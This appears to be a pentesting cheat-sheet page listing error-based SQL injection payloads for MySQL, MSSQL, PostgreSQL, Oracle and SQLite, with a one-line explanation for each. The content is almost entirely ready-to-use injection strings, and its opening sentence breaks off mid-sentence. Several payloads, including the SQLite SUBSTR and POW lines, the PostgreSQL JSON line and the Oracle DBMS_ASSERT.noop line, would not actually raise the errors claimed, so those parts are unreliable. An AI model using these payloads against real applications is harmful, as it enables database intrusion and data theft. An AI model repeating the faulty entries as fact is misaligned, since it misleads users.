🔥Generate Errors

Here are some advanced techniques that specific to some DBMS to force errors and gather valuable information. By using these advanced methods to force errors on different DBMS, you can gather detailed

Advanced Methods to Forcefully Generate Errors on Various DBMS

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MySQL

Use of Invalid Functions

MySQL provides many functions that, when used incorrectly, can generate errors.

' AND EXP(~(SELECT * FROM (SELECT 1) t)) -- 

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Invalid Hexadecimal Conversion

Using invalid hexadecimal values can cause errors.

' AND 0xG1 -- 

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Subqueries in SELECT Clause

Use subqueries that return multiple rows in a single value context.

' AND (SELECT * FROM (SELECT 1,2) t) = 1 -- 

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MSSQL

Invalid XML Queries

MSSQL’s XML functions can generate errors when used with invalid XML.

'; DECLARE @xml XML; SET @xml = '<root><a></a><b></b></root>'; SELECT @xml.value('(/root/c)[1]', 'INT') --

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Invalid Data Conversion

Conversion functions can cause errors when converting incompatible data types.

'; SELECT CAST('text' AS INT) --

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SQL Injection with Error Functions

Use built-in error functions to generate errors.

'; RAISERROR('Error generated', 16, 1) --

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PostgreSQL

Invalid Regular Expression

PostgreSQL's regex functions can be used incorrectly to cause errors.

' AND 'a' ~ 'b[' -- 

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Invalid JSON Operations

Use JSON functions with invalid operations.

' AND jsonb_path_query_first('{"a":1}', '$.a') -- 

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Recursive CTE

Use recursive Common Table Expressions (CTE) incorrectly.

' AND WITH RECURSIVE t AS (SELECT 1 UNION ALL SELECT 1 FROM t) SELECT * FROM t -- 

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Oracle

Invalid Data Manipulation

Oracle’s specific functions and data manipulation can cause errors.

' UNION SELECT UTL_INADDR.get_host_address('invalid_host') FROM dual --

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Invalid XMLType Usage

Use XMLType improperly to cause errors.

' UNION SELECT XMLType('<invalid><xml>') FROM dual --

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Using SYS.DBMS_ASSERT

Leverage Oracle’s assertion package to force errors.

' UNION SELECT SYS.DBMS_ASSERT.noop('invalid_input') FROM dual --

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SQLite

Invalid String Functions

SQLite’s string functions can generate errors when used improperly.

' UNION SELECT SUBSTR('text', -1, 1) --

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Invalid Mathematical Operations

Use mathematical functions with invalid inputs.

' UNION SELECT POW('text', 2) --

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Invalid Date Functions

Use date functions with incorrect parameters.

' UNION SELECT DATE('invalid_date') --